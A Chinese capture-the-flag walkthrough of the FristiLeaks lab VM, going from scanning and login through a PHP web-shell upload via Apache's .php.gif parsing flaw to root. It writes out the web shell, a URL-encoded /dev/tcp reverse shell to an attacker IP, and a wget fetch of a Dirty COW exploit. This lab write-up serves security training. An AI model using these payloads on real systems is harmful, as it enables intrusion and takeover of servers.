赞
踩
vm虚拟机---->文件----->打开------>选择下载好的ova文件
开启虚拟机之前需要手动更改网卡的MAC地址(网络链接模式因人而异)
将网卡的MAC地址改为:
08:00:27:A5:A6:76
否则会扫描不到该靶场的ip地址
首先老样子先获取到靶场的ip地址
nmap -sn 192.168.1.1/24
(-sn:Ping扫描-禁用端口扫描,存活探测)
在获取靶场的端口并把结果输出到FristiLeaks文件夹下,命名为port方便后续查看
nmap -p- 192.168.1.3 -PN -r -oA FristiLeaks/port
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
看来只开放了一个80端口
那我们对该页面进行访问看看
这些可能为用户名,我们记录一下
其他并没有什么有用的动西,右键查看网页源代码
也并没有什么有用的东西,那我们对该网站进行目录扫描看看(dirsearch)
python dirsearch.py -u "192.168.1.3"
我们发现了一个 images 目录,进行访问看看
得到了一个这个图片(翻译过来为:这不是你要找的网址)
看来应该是还有目录没有被扫描出来
最够经过一系列痛苦尝试,发现目标url为FRISTI(难怪当初该单词翻译不出来)
输入正确的URL、
192.168.1.3/fristi/
来到了该界面,尝试使用万能密码进行登录
admin' or '1'='1
发现并不可行
bp抓包,把抓包数据存放到sqlmap目录下的1.txt
然后尝试sql注入
python sqlmap.py -r 1.txt --batch
最后失败
思路断了,那我们去尝试查看网站的源代码
发现了一封留言,留言人为“eezeepz”(我们需要清理这个以便生产。我在这里留下了一些垃圾,让测试更容易。)根据翻译,这个留言人信息可能会用得到,也进行记录一下
在下方,发现了一个通过base64加密的数据
经过解码后发现是个png文件
那我们尝试把该文件解密成png文件(在线Base64转图片 (lddgo.net))
最后得到了这个,
keKkeKKeKKeKkEkkEk
这个会不会是登录密码,再加上之前看到的留言人信息
我们进行登录尝试
登录成功
发现是个文件上传的链接
我们直接上传一句话木马试试
- GIF89a
-
- <?php
-
- system($_GET['132']);
-
- phpinfo();
-
- ?>
将代码保存为后缀是php的文件
(phpinfo():方便我们查看有没有解析成功)
规定只能上传后缀为png、jpg、gif文件
其他文件无法上传
经过尝试,bp抓包改后缀、00截断、二次渲染都实现不了文件上传,但是apache有文件解析漏洞(Apache HTTPD 多后缀解析漏洞 漏洞复现_apache http 多后缀-CSDN博客)
那我们直接把后缀改为.php.gif,再次进行上传
上传成功
我们访问看看是否能成功解析
192.168.1.3/fristi/uploads/muma.php.gif
解析成功,那我们给“132”传参试试
(该一句话用system可以传参数进行远程代码执行,不可用蚁剑等链接,用eval可以用蚁剑链接)
(在这里我没选择用蚁剑)
192.168.1.3/fristi/uploads/muma.php.gif?132=id
那我们直接就反弹shell
在kali中开启nc,监听8080端口
nc -lvvp 8080
反弹shell
sh -i >& /dev/tcp/192.168.1.6/8080 0>&1
(要进行URL编码再进行反弹shell,因为我们是在URL中输入,该指令的“&”符号在URL中的意思为传参数,所以要进行URL编码,该指令才会正常运行)
编码后
%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%36%2f%38%30%38%30%20%30%3e%26%31
完整payload
192.168.1.3/fristi/uploads/muma.php.gif?132=%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%36%2f%38%30%38%30%20%30%3e%26%31
反弹成功
接下来进行提权
在 Linux 系统中执行的用于查找具有 Setuid 权限的文件的命令
find / -perm -u=s -type f 2>/dev/null
我们可以在该网站上看有没有可以利用的东西(GTFOBins)
只需要复制具有setuid权限的文件名称到该网站上就可以查看对应的使用方法
既然没有我们可以利用的文件
那我们来查看内核,看能否用内核提权
我们在shell处输入其他某些命令时会提示无法输入(大概吧)等提示字样,因为该靶场我做过了,所以没有出现该提示
所以我们需要使用python新开一个交互页面
python -c 'import pty; pty.spawn("/bin/sh")'
(这段代码是一个简单的 Python 命令,用于在 Python 解释器中调用 pty 模块,并使用 /bin/sh 启动一个交互式的 shell。在该网站上Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn)有Linux各种Shell来执行命令)
查看linux内核版本
uname -a
内核为2.6.32
我们新开kali窗口,搜索linux 内核提权(kernel 2.6 Privilege Escalation:内核 2.6 权限提升)
searchsploit linux kernel 2.6 Privilege Escalation
(searchsploit是一个非常实用的网络安全工具,它是Exploit-DB的一个命令行搜索工具。Exploit-DB是一个公开的漏洞数据库,包含了大量的漏洞利用程序)
经过各种脚本尝试,我们最后还是选择了脏牛提权
searchsploit linux dirty
选择符合我们要求脚本
将43199.c文件复制到当前文件夹
searchsploit linux dirty -m 40839.c
在kali中43199.c文件目录下打开http服务
python3 -m http.server 8888
在shell中切换为/tmp目录,该目录权限一般会较高,防止无法获取文件
wget http://192.168.1.6:8888/40839.c
获取成功,编译一下(GitHub - firefart/dirtycow:Dirty Cow 漏洞 - CVE-2016-5195 脏牛漏洞github文档)
gcc -pthread 40839.c -lcrypt
编译成功后会在当前目录下生成 a.out文件
./a.out
运行一下
该脚本会直接创建一个管理员用户并命名为:
firefart
我们需要给该用户设置一个密码
如果出现该提示,我们直接ctrl+c退出shell,在kali中重新打开nc进行监听8080端口,然后重新在网站输入我们的payload进行再次链接
在网站输入我们的payload
192.168.1.3/fristi/uploads/muma.php.gif?132=sh%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.1.6%2f8080%200%3E%261
我们需要重新输入
python -c 'import pty; pty.spawn("/bin/sh")'
打开一个交互页面
不然会提示
然后我们切换到脏牛为我们创建的用户
输入密码,提权成功
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。